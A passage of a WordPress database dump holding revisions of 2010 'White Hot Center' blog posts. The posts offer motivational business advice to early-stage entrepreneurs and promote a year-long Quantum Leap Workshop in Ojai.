day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater  clarity and confidence to define a compelling vision for your future–  and set the foundation to achieve your goal of taking your business to the next level  in an easy, relaxed, and joyful way. If you are interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision-15', '', '', '2010-10-24 17:22:02', '2010-10-25 00:22:02', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-revision-15/', 0, 'revision', '', 0),
(1364, 2, '2010-10-18 17:44:20', '2010-10-19 00:44:20', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create results by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (for example, think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind creating the results you desire in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, <a title="Quantum Leap Workshop Brochure" href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-23', '', '', '2010-10-18 17:44:20', '2010-10-19 00:44:20', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-23/', 0, 'revision', '', 0),
(1365, 2, '2010-11-19 16:42:50', '2010-11-19 23:42:50', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2><a href="http://www.whcquantumleap.com" target="_blank">Watch my Quantum Leap Workshop Video Introduction!</a><a href="http://whc.fbdev.org/wp-content/uploads/2010/10/QLW_intro.mov" target="_blank">\r\n</a></h2>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative, early-stage entrepreneurs!\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #808080;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\n<h2><span style="color: #808080;">The   Quantum Leap Workshop is a year-long personal and business development   program designed for forward-thinking entrepreneurs who want more ideas,   clarity, confidence, and velocity to realize their bold vision for a   bigger future–and experience more money, freedom, fulfillment, and joy   in every area of their life!</span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n\r\n<span style="color: #000000;"> </span>Even the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner. If you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services. Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n<h2><a href="http://www.whcquantumleap.com/register.html" target="_blank"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></a></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-44', '', '', '2010-11-19 16:42:50', '2010-11-19 23:42:50', '', 1115, 'http://www.whitehotcenter.com/2010/11/19/1115-revision-44/', 0, 'revision', '', 0),
(1366, 2, '2010-12-27 15:52:37', '2010-12-27 22:52:37', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="446" height="446" /></a>\r\n<h2><a href="http://www.whcquantumleap.com" target="_blank">Watch my Quantum Leap Workshop Video Introduction!</a><a href="http://whc.fbdev.org/wp-content/uploads/2010/10/QLW_intro.mov" target="_blank">\r\n</a></h2>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative, early-stage entrepreneurs!\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #808080;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\n<h2><span style="color: #808080;">The   Quantum Leap Workshop is a year-long personal and business development   program designed for forward-thinking entrepreneurs who want more ideas,   clarity, confidence, and velocity to realize their bold vision for a   bigger future–and experience more money, freedom, fulfillment, and joy   in every area of their life!</span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n\r\n<span style="color: #000000;"> </span>Even the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner. If you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services. Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n<h2><a href="http://www.whcquantumleap.com/register.html" target="_blank"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></a></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-45', '', '', '2010-12-27 15:52:37', '2010-12-27 22:52:37', '', 1115, 'http://www.whitehotcenter.com/2010/12/27/1115-revision-45/', 0, 'revision', '', 0),
(1367, 2, '2010-09-26 12:24:23', '2010-09-26 19:24:23', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker <a href="http://www.stewartemery.com/" target="_blank">Stewart Emery</a> define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life, and you know you want a higher level of experience, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within! When you trust this belief, you are automatically elevated into a leadership role–lighting your own way forward!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence. These are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another''s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, 'You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.', 'inherit', 'open', 'open', '', '1058-revision-16', '', '', '2010-09-26 12:24:23', '2010-09-26 19:24:23', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision-16/', 0, 'revision', '', 0),
(1368, 2, '2010-09-10 09:01:10', '2010-09-10 16:01:10', '<img class="alignnone size-full wp-image-1047" title="competition-proof" src="http://whc.fbdev.org/wp-content/uploads/2010/09/competition-proof.gif" alt="" width="500" height="329" />\r\n<h2>Seemingly in every business  category today, more businesses are being commoditized by the sheer  abundance of choices customers have. It’s customers who decide who leads  and who fails. How competition-proof is your business right now?</h2>\r\n<div>\r\n\r\n<!--more-->When customers have abundant choice,  competition is always fierce. How do you differentiate your business in  ways that matter to your customers? How do you command premium prices  and greater profit margins when everyone else is discounting prices  fighting to break even? More importantly, how do you, a creative  entrepreneur, gain radical advantage over your would-be competitors in  an ultra-competitive marketplace? I’m absolutely sure these questions  swirl around in your head on a daily basis.\r\n\r\nHere are six strategies that are fundamental to creating a  competition-proof business– one that’s aligned to your greatest  passions, talents, vision and life goals. For many entrepreneurs,  (myself included) creating more value for people through creativity and  innovation is a burning passion, and a fabulously cool way to travel  through life’s journey.\r\n\r\n<strong>Strategy One<em>\r\nAs you think, so it becomes! </em></strong>\r\n\r\nThe seed of all great innovation is thought. If you fear your  competitors, and believe their presence controls your success, they  will. On the other hand, if you believe there is always an abundance of  opportunity available for all, and your thinking is always in that  inspired direction, opportunity will always be present for you.\r\n\r\n<strong>Strategy Two<em>\r\nDo what matters to you and serves others! </em></strong>\r\n\r\nWhat do you love? You must engage yourself in what you love–in what  brings meaning and joy to your life. More importantly, what brings  meaning and joy to you must serve the good of others as well. When you  do this, you begin to realize there are no limits to your growth and  success. You delight in asking yourself ” how far can I go?” Your  business is the creative venue for this expression!\r\n\r\n<strong>Strategy Three<em>\r\nBe different, and make a difference! </em></strong>\r\n\r\nWhat do you stand for? To be competitive-proof, your business must be  good–and different. Radically different! To radically differentiate  your business from the slush pile of good, you must position your value  proposition (what value and benefit you provide to people in need)  within a deep and narrow focus. Your product/service must be highly  specialized, and solve specific problems with better outcomes than  people are currently experiencing.\r\n\r\n<strong>Strategy Four<em>\r\nProvide more use value than you receive in cash value! </em></strong>\r\n\r\nHere’s the source code for zero competition: whatever the amount of  cash your customer pays you is always reciprocated with an experience of  greater use value. Whenever customers perceive greater value in the  (experience) use of a product or service than they paid in cash for it,  they become raving, loyal customers, if not outright non-paid advocates  of your business.\r\n\r\n<strong>Strategy Five<em>\r\nFocus on your genius, delegate everything else! </em></strong>\r\n\r\nThe force multiplier in value creation and business growth begins  when you elevate yourself to a place where all you focus on is  opportunity to create value. Everything else is delegated (outsourced).  Give yourself permission to allow the unique genius in you to run the  show.  Haven’t tapped into your genius yet? Here’s a clue: It feels so  natural to you, you hardly give it any attention at all.  You are so  amazing at it, you don’t even sense it’s power to transform your current  circumstances– and you have never been without it!\r\n\r\n<strong>Strategy Six<em>\r\nTurn customers into your non-paid sales force! </em></strong>\r\n\r\nTo attract opportunity, create value for others first. The  marketplace rewards those who earn and deserve, never because they  desire or need business.  It can’t be said enough–always make the  customer successful first!  When you do, your customers will be  life-long ambassadors of your success.\r\n\r\nWhen you develop the disciplined thinking and action required to  implement these important strategies as a daily practice, you’ll be  astonished at how fast your breakthroughs in growth will occur. It will  be in quantum leaps rather than incremental spikes.\r\n\r\n<strong>When you free yourself to focus only on  your most important activities, relationships and  opportunities–increased revenue and profits are the natural result.</strong>\r\n\r\n</div>', 'Six Strategies For Creating Unparalleled Competitive Advantage In Your Business.', 0, '', 'inherit', 'open', 'open', '', '1046-revision-10', '', '', '2010-09-10 09:01:10', '2010-09-10 16:01:10', '', 1046, 'http://www.whitehotcenter.com/2010/09/10/1046-revision-10/', 0, 'revision', '', 0),
(1369, 2, '2010-08-12 18:35:50', '2010-08-13 01:35:50', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about the idea of “flow”. Everyone has heard of the “flow  state”–that magical state of peak performance being when you lose track  of time blissfully and effortlessly engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals who are stuck in their businessess.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awesome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the game you are playing is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–   defined as your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract to you others  who are playing the same game at higher levels than you, new  opportunity and possibilities to up your game will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.\r\n<h2><span style="color: #808080;">By now, you’re probably asking yourself “how do I get me  some more flow mojo”?</span></h2>\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the <a href="http://en.wikipedia.org/wiki/I_Ching" target="_blank"> I-Ching</a>, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates your faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2><span style="color: #808080;">“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</span></h2>\r\n<span style="color: #808080;"><strong>– Oliver Wendall Holmes</strong></span>\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-revision-19', '', '', '2010-08-12 18:35:50', '2010-08-13 01:35:50', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-19/', 0, 'revision', '', 0),
(1370, 2, '2010-12-27 15:58:42', '2010-12-27 22:58:42', '<p><img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="450" height="260" /></p>\r\n<h2>Let’s talk about the idea of “flow”. Everyone has heard of the “flow  state”–that magical state of peak performance being when you lose track  of time blissfully and effortlessly engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals who are stuck in their businessess.</h2>\r\n<p>As trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awesome life).</p>\r\n<p>Flow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the game you are playing is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–   defined as your endless capacity to create and achieve what you desire in an easy  and relaxed way!</p>\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\n<p>Believe me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!</p>\r\n<p>Following your path of least resistance means  choosing to play your own natural game. This will attract to you others  who are playing the same game at higher levels than you, new  opportunity and possibilities to up your game will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.</p>\r\n<h2><span style="color: #808080;">By now, you’re probably asking yourself “how do I get me  some more flow mojo”?</span></h2>\r\n<p><strong>The seven phenomena of 